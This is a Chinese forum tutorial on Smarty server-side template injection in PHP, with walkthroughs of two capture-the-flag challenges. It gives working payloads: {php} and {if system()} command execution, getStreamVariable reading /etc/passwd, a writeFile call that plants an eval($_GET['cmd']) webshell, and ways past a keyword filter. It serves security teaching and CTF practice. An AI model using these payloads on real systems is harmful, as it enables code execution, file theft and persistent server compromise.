用户
搜索

[web安全] 细说Smarty之SSTI

  • TA的每日心情

    2021-6-9 09:20
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    1

    主题

    1

    帖子

    71

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2020-10-15
    发表于 2021-7-12 17:13:16 0655
    本帖最后由 eeknight 于 2021-7-12 21:31 编辑

    细说Smarty之SSTI
    Smarty是PHP的一个模板引擎,主要功能就是逻辑与显示的分离,也就是PHP和HTML的分离。
    这里就简单说明Smarty模板,然后详细讲一下Smarty的SSTI漏洞。
    模板简介
    所有的smarty模板标签都被加上了定界符。默认情况下是 { 和},但它们是可被改变的,可以进行自定义设置。
    漏洞成因
    smarty的SSTI漏洞大体上都一样,这里简单句一下例子。
    这是一个有漏洞的Smarty文件
    <?php
        require_once('./smarty/libs/' . 'Smarty.class.php');
        $smarty = new Smarty();
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        $smarty->display("string:".$ip);
    }
    在这里ip是XFF获取的,而下面一行中可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,由此产生了SSTI。
    利用
    判断模板
    判断是否为Smarty的方法有很多,比较常规判断就如下面的图所示。(图是网上看到的,这里借来用)
    版本号
    我们可以通过{$smarty.version}来查看漏洞的版本号
    这里之所以说版本号是因为smarty对于后面版本更新后,会删除之前的内容,这里涉及到了下面要讲的标签和函数。
    {php}标签
    Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令
    使用
    {php}phpinfo();{/php}  #执行相应的php代码
    注:在Smarty 3.1,{php}仅在SmartyBC中可用。
    {literal}标签
    {literal}可以让一个模板区域的字符原样输出。
    这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
    使用
    <script language="php">phpinfo();</script>  #执行相应的php代码
    注:{literal}标签有版本限制,在php5的环境下可以执行,但是php7环境下就不能执行了。
    {if}标签
    在Smarty中的if和php中的其他没什么大的区别,只不过在Smarty中,我们可以通过{if}标签来实现命令执行。
    使用
    {if phpinfo()}{/if}     #执行相应的php代码
    getStreamVariable
    该方法能使用是由于getStreamVariable() 这个方法可以获取传入变量的流(这里简单来说就是这个方法会将读取的文件内容返回),然后我们可以通过self来获取Smarty对象并调用这个方法来实现读写文件。
    使用
    {self::getStreamVariable("file:///etc/passwd")}
    Smarty类的getStreamVariable方法的代码如下:
    public function getStreamVariable($variable)
    {
            $_result = '';
            $fp = fopen($variable, 'r+');
            if ($fp) {
                while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                    $_result .= $current_line;
                }
                fclose($fp);
                return $_result;
            }
            $smarty = isset($this->smarty) ? $this->smarty : $this;
            if ($smarty->error_unassigned) {
                throw new SmartyException('Undefined stream variable "' . $variable . '"');
            } else {
                return null;
            }
        }
    注:在3.1.30的Smarty版本中官方已经把该法删除。
    writeFile
    原理和getStreamVariable差不多
    这里就直接丢他的使用方法
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
    注:在3.1.30的Smarty版本也吧该法删除了。
    题目实践
    聪明的php
    一进题目,就显示出一句话
    pass a parameter and maybe the flag file's filename is random :>
    意思是:传递一个参数,可能标志文件的文件名是随机的:>
    传入参数
    首先可以看到得到一个源码,其次可以看到传入的值在最下方出现。
    源码:
    <?php
    include('./libs/Smarty.class.php');
    echo "pass a parameter and maybe the flag file's filename is random :>";
    $smarty = new Smarty();
    if($_GET){
        highlight_file('index.php');
        foreach ($_GET AS $key => $value)
        {
            print $key."\n";
            if(preg_match("/flag|\/flag/i", $value)){
                $smarty->display('./template.html');    }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
                $smarty->display('./template.html');           
            }else{
                $smarty->display("eval:".$value);
            }
        }
    }
    ?>
    在源码中可以看懂使用Smarty模板,然后过滤了flag和一些关键函数。
    可以推测这个题就是一道Smarty模板注入题
    这里的突破口就在$smarty->display("eval:".$value);
    首先先测试一些,传入参数为?a={6*6},输出了36这里存在命令执行漏洞。
    知道漏洞就好说了,直接利用就可以了。这里过滤了system(),我们可以用passthru,show_source来代替,过滤了cat,可以用less,more来代替。(总之这里绕过过滤的方式很多,随便选一种就可以,不是重点)
    payload
    首先先
    ?a={passthru('ls')}
    看到了回显,显示了当前的文件信息
    a cache configs index.php libs template.html templates templates_c
    查找flag(由于有点难找,就直接用通配符找了)
    ?a={passthru('less /?*')}
    CISCN2019华东南赛区Web11
    来源:[url=https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA]Web11]CISCN2019华东南赛区Web11[/url]
    进来在最下方可以看到smart,可以找到这是用smart引擎写的。
    题目也没什么隐藏的信息,这里就只有一个读取IP和XFF的api。IP不知道是啥,那XFF还不简单吗,直接抓包并添加一个xff头给他。
    可以看到他会显示当前IP地址,我们对这个IP地址进行搞事情,
    可以看到IP地址为6*6=36,那无疑就是SSTI了啊。
    先查看他的版本情况
    6.6.6.{$smarty.version}
    返回值:6.6.6.3.1.30
    可以找到是3.1.3版本
    知道版本号了,我们可以知道一些标签就使用不了了,那我们也就是剩下if标签可以使用了。
    先用phpinfo测试一下
    这里没什么问题
    payload
    6.6.6.{if system('ls /')}{/if}
    回显:6.6.6.bin dev etc flag home lib media mnt opt proc root run sbin srv sys usr var

    可以看到flag,直接读取他
       
    6.6.6.{if system('nl /flag')}{/if}
    然后查看源码就得到flag
    参考链接
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册